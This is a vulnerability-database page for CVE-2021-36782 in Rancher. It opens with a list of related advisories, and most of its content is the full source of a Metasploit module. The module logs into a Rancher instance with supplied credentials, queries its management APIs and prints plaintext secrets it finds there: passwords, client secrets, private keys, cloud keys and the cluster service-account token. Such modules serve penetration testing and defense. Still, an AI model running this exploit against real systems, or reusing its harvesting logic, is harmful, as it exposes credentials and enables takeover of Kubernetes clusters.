| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2021-36782 | 19 Apr 202418:10 | – | circl | |
| Rancher Labs Rancher 安全漏洞 | 7 Sep 202200:00 | – | cnnvd | |
| CVE-2021-36782 | 7 Sep 202208:20 | – | cve | |
| CVE-2021-36782 Rancher: Plaintext storage and exposure of credentials in Rancher API and cluster.management.cattle.io object | 7 Sep 202208:20 | – | cvelist | |
| Rancher API and cluster.management.cattle.io object vulnerable to plaintext storage and exposure of credentials | 23 Sep 202218:11 | – | github | |
| Rancher Authenticated API Credential Exposure | 19 Apr 202419:51 | – | metasploit | |
| CVE-2021-36782 | 7 Sep 202209:15 | – | nvd | |
| GHSA-G7J7-H4Q8-8W2F Rancher API and cluster.management.cattle.io object vulnerable to plaintext storage and exposure of credentials | 23 Sep 202218:11 | – | osv | |
| Information disclosure | 7 Sep 202209:15 | – | prion | |
| PT-2022-4760 · Suse · Suse Rancher | 7 Sep 202200:00 | – | ptsecurity |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Rancher Authenticated API Credential Exposure',
'Description' => %q{
An issue was discovered in Rancher versions up to and including
2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys
and Ranchers service account token (used to provision clusters),
were stored in plaintext directly on Kubernetes objects like Clusters,
for example cluster.management.cattle.io. Anyone with read access to
those objects in the Kubernetes API could retrieve the plaintext
version of those sensitive data.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Florian Struck', # discovery
'Marco Stuurman' # discovery
],
'References' => [
[ 'URL', 'https://github.com/advisories/GHSA-g7j7-h4q8-8w2f'],
[ 'URL', 'https://github.com/fe-ax/tf-cve-2021-36782'],
[ 'URL', 'https://fe.ax/cve-2021-36782/'],
[ 'CVE', '2021-36782']
],
'DisclosureDate' => '2022-08-18',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with']),
OptString.new('PASSWORD', [ true, 'Password to login with']),
OptString.new('TARGETURI', [ true, 'The URI of Rancher instance', '/'])
]
)
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def rancher?
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dashboard/'),
'keep_cookies' => true
})
return false unless res&.code == 200
html = res.get_html_document
title = html.at('title').text
title == 'dashboard' # this is a VERY weak check
end
def login
# get our cookie first with CSRF token
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'v1', 'management.cattle.io.setting'),
'keep_cookies' => true
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") unless res.code == 200
json_post_data = JSON.pretty_generate(
{
'description' => 'UI session',
'responseType' => 'cookie',
'username' => username,
'password' => password
}
)
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token not found in cookie") unless res.get_cookies.to_s =~ /CSRF=(\w*);/
csrf = ::Regexp.last_match(1)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'v3-public', 'localProviders', 'local'),
'keep_cookies' => true,
'method' => 'POST',
'vars_get' => {
'action' => 'login'
},
'headers' => {
'accept' => 'application/json',
'X-Api-Csrf' => csrf
},
'ctype' => 'application/json',
'data' => json_post_data
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::NoAccess, "#{peer} - Login failed, check credentials") if res.code == 401
end
def check
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service, or does not seem to be a rancher website") unless rancher?
Exploit::CheckCode::Detected('Seems to be rancher, but unable to determine version')
end
def run
vprint_status('Attempting login')
login
vprint_good('Login successful, querying APIs')
[
'/v1/management.cattle.io.catalogs',
'/v1/management.cattle.io.clusters',
'/v1/management.cattle.io.clustertemplates',
'/v1/management.cattle.io.notifiers',
'/v1/project.cattle.io.sourcecodeproviderconfig',
'/k8s/clusters/local/apis/management.cattle.io/v3/catalogs',
'/k8s/clusters/local/apis/management.cattle.io/v3/clusters',
'/k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates',
'/k8s/clusters/local/apis/management.cattle.io/v3/notifiers',
'/k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs'
].each do |api_endpoint|
vprint_status("Querying #{api_endpoint}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, api_endpoint),
'headers' => {
'accept' => 'application/json'
}
)
if res.nil?
vprint_error("No response received from #{api_endpoint}")
next
end
next unless res.code == 200
json_body = res.get_json_document
next unless json_body.key? 'data'
json_body['data'].each do |data|
# list taken directly from CVE writeup, however this isn't how the API presents its so we fix it later
[
'Notifier.SMTPConfig.Password',
'Notifier.WechatConfig.Secret',
'Notifier.DingtalkConfig.Secret',
'Catalog.Spec.Password',
'SourceCodeProviderConfig.GithubPipelineConfig.ClientSecret',
'SourceCodeProviderConfig.GitlabPipelineConfig.ClientSecret',
'SourceCodeProviderConfig.BitbucketCloudPipelineConfig.ClientSecret',
'SourceCodeProviderConfig.BitbucketServerPipelineConfig.PrivateKey',
'Cluster.Spec.RancherKubernetesEngineConfig.BackupConfig.S3BackupConfig.SecretKey',
'Cluster.Spec.RancherKubernetesEngineConfig.PrivateRegistries.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword',
'Cluster.Status.ServiceAccountToken',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.PrivateRegistries.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword'
].each do |leaky_key|
leaky_key_fixed = leaky_key.split('.')[1..] # remove first item,
leaky_key_fixed = leaky_key_fixed.map { |item| item[0].downcase + item[1..] } # downcase first letter in each word
print_good("Found leaked key #{leaky_key}: #{data.dig(*leaky_key_fixed)}") if data.dig(*leaky_key_fixed)
end
end
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation